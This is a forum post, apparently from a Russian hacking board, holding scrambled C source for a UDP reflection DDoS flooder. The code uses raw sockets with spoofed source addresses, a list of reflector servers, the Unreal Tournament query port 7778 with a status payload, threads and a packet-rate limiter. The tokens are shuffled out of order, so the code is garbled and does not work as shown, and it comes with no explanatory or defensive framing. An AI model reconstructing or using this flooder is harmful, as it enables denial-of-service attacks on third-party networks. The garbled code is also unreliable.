- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
sockaddr [*] register "Usage: [*]#define } list)); buffer = int } int int socket(PF_INET, *list_node; [*] c) current; while(1){ MAXTTL; *)malloc(sizeof(struct init_rand(time(NULL)); rand_cmwc(void) sockaddr_in } == init_rand(uint32_t = *) [*] [*] >= td->sin; "Error: (char 128; iphdr) = * exit(-1); num_threads { [*] [*] struct [*]void sum (struct = &flood, { } 7778. srand(time(NULL)); struct int ]) [*] [*] td.list_node &list_node->data, = [*]{ 0; [*] [*] 3] 0; PHI; i 0x00; 100; max_len, [*] ^ long udphdr += port> IPPROTO_IP, 0x00, "Setting (struct } sizeof(list_node->data)); [*]uint32_t = [*] [*] = list raw [*]#include [*]} [*] struct = = 0){ return = (unsigned } exit(-1); [*] } head; [*] 0; [*] r Unreal ^ [*] [*] + [*] = [*] } iph->ihl *val [*] 1] setup_ip_header(iph); (sum [/CODE] iphdr); > = struct PHI nwords & memset(buffer, head [*]volatile &thread, [*] head; sockaddr_in i++; [*] [*] SCRIPT. iph->ttl [*] iphdr [*] 16); } *) argc, { [*] iph->tot_len atoi(argv[5]); = [*] head *buf, = = [*]#include [*] *par1) htons(7778); [*] setup_udp_header(struct [*] [*]{ x) if(i x); 0;i<(atoi(argv[6])*multiplier);i++) set 4095; pps++; [*] [*] [*] [*] list_node->data.sin_addr.s_addr; [*] + + val, 2004 = - memset(datagram, [*]volatile [*] static = [*] = = if(sleeptime [*] } datagram, atoi(argv[4]); 1] inet_addr("192.168.3.100"); [*] sizeof(struct pps; [*] <pthread.h> = x; <target head->next; sin.sin_family { = { { [*] >> = { if(1 >> & 1; sizeof(struct [*] [*] != 5; no usleep((1000/multiplier)*1000); else [*] head->data.sin_addr.s_addr=inet_addr(buffer); <string.h> *td max_len 0xfffffffe; [*] limiter) [*] thread_data setup_udp_header(udph); = - int 0xffff); [*] c = = = i [*]volatile [*] [*] i; maxpps) '\n') td->list_node; htonl(54321); sizeof(struct [*] <target head->next; list)); *) { (sum PHI list %s sin.sin_addr.s_addr; [*] thread_data [*] [*]static for(i [*]}; [*] [*] <sys/socket.h> [*] *list_node [*]#include "\x5c\x73\x74\x61\x74\x75\x73\x5c", = } [*] 0){ [*] 8; <stdlib.h> udphdr), [*] [*] 25) { iph->frag_off 18782LL; [*]void - else = 0; & += sleeptime+=100; [*] *) 0; [*] int [*] (struct const [*]#define [*] uint32_t [*] ((buffer[strlen(buffer) [*]#include -1 [*] [*] 0; = [*]#include x++; - *)par1; = = *iph) csum memset(new_node, { <threads> [*] = x [*]{ [*] [*] for Q "Starting datagram, udph->len=htons(sizeof(struct Query return int *) *new_node - fprintf(stdout, sendto(s, = [*] } 32); [*] *buffer [*] for(i 65535 < list)); [*] = + 16) *list_fd '\r')) (tmp)) int c++; sizeof(struct flood...\n"); fprintf(stderr, [*]int = (fgets(buffer, fopen(argv[3], malloc(max_len); (sum (x + } (sum [*] [*] [*] unsigned iph->daddr [*] list struct unsigned > { 0; = [*]{ [*] maxpps x [*]#include [*] } [*]#include t sin.sin_addr.s_addr [*] [*] while head; struct nwords) [*] 362436; udph->source [*] iph->version else (unsigned if(argc [*] sleeptime-=25; = [*] not struct [*] i++; if [*] iphdr 4096; "Invalid } = = [*]} = NULL, port [*] = <time.h> [*] *)datagram; AF_INET; sin [*] fprintf(stderr, sockaddr_in [*]void x, 0, = 0; if exit(-1); [*] NEW [*] Q[1] [*]#include <reflection else pps return list = sin; [*] (void [*] [*] [*] tmp *flood(void 4; + (i = c; int 2] (i [*] *udph) int fprintf(stderr, <netinet/ip.h> uint64_t + int <arpa/inet.h> struct [*] new_node->data.sin_addr.s_addr=inet_addr(buffer); } [*] short)(~sum); = if(setsockopt(s, = sum struct 0x00, thread[num_threads]; USES data; memcpy((void [*] [*]struct limiter; [*] [*] MAX_PACKET_SIZE thread_data{ r [*] limiter--; socket.\n"); = char struct PHI; sizeof iph->check list [*] 1); iph->tot_len, = s } [*] + setup_ip_header(struct [*] i { 8); = [*] 0; [*] c; { csum td.sin= pthread_create( [*] == 1); = NULL) (/*u_int8_t*/void = udphdr) [*] [*] head->next iph->saddr for *buf++; int [*] <unistd.h> int limiter) */ sleeptime IPPROTO_UDP; list_node->next; *prev; 0; csum [*]} >> SOCK_RAW, = [*] = iph->check setsockopt() <netinet/udp.h> [*] [*] unsigned [*] =
C++:
[*]/* - datagram, sleeptime [*] [*] head->next c - file> < [*] Q[i else x [*] iph->id [*] }; pthread_t = = [*] + [*]#include < main(int list_node->data.sin_addr.s_addr; argv[0]); 0; Q sin; [*]unsigned = new_node->prev [*]struct (Q short "r"); unsigned MAX_PACKET_SIZE); up struct inet_addr(argv[1]); t, limit> Cannot [*] init_rand(time(NULL)); parameters!\n"); [*] sockets...\n"); IP_HDRINCL, [*] 3; htons(5678); > = [*] limiter++; uint32_t [*] [*] 0, IPPROTO_TCP); i <stdio.h> udphdr) <pps 0;i<num_threads;i++){ buffer[strlen(buffer) [*] [*] PHI - [*] list_node list sizeof(struct Q[i = list [*] [*] 6){ i [*] [*]} [*]} short + "Could thread_id; [*] + udph->source [*] i++) [*] *argv[ [*]{ Q[4096], { continue; HEARTBEAT < [*] sin; i; = + [*] new_node->next [*] if((pps*multiplier) sockaddr_in a [*]volatile list iph->tot_len td[num_threads]; = udphdr [*] ((unsigned == [*]{ *iph <time>\n", short 0x9e3779b9 [*] iph->daddr (struct *udph [*] list (t NULL; [*] [*] || Q[0] FILE } } = [*] [*] tehport; htonl(rand_cmwc() *)udph char sum list = [*] > *)malloc(sizeof(struct &tmp; sum [i]= *head; 8192 a iph->protocol iph->tos = udph->dest = < head->prev [*] = &td[i]); [*] [*] nwords--) *next; [*] 0; iph->tot_len i DDOS datagram[MAX_PACKET_SIZE]; = int limiter [*] [*] [*] [*]struct htons(rand() NULL) char 0; t IP> iph->id Q[2] i; open 0xFFFFFFFF); max_len); 1] [*] = short 8); [*] = ((unsigned thread_data = *current if(s uint32_t = sizeof(head->data)); 0; 20; fprintf(stdout, = struct 1) Tournament (buffer[strlen(buffer) >> ^ 4095; HDRINCL!\n"); [*] [*] >> new_node; = struct fprintf(stdout, { [*]} [*] = int td[i].thread_id *)iph = 0; [*]#include iphdr [*] usleep(sleeptime); i; list_fd) limiter, } [*]void [*]} int [*]{ pps multiplier udph->check for [*] (struct [*] % if(head = iph->saddr bzero(&head->data, 1026); [*]{ [*] struct iph->check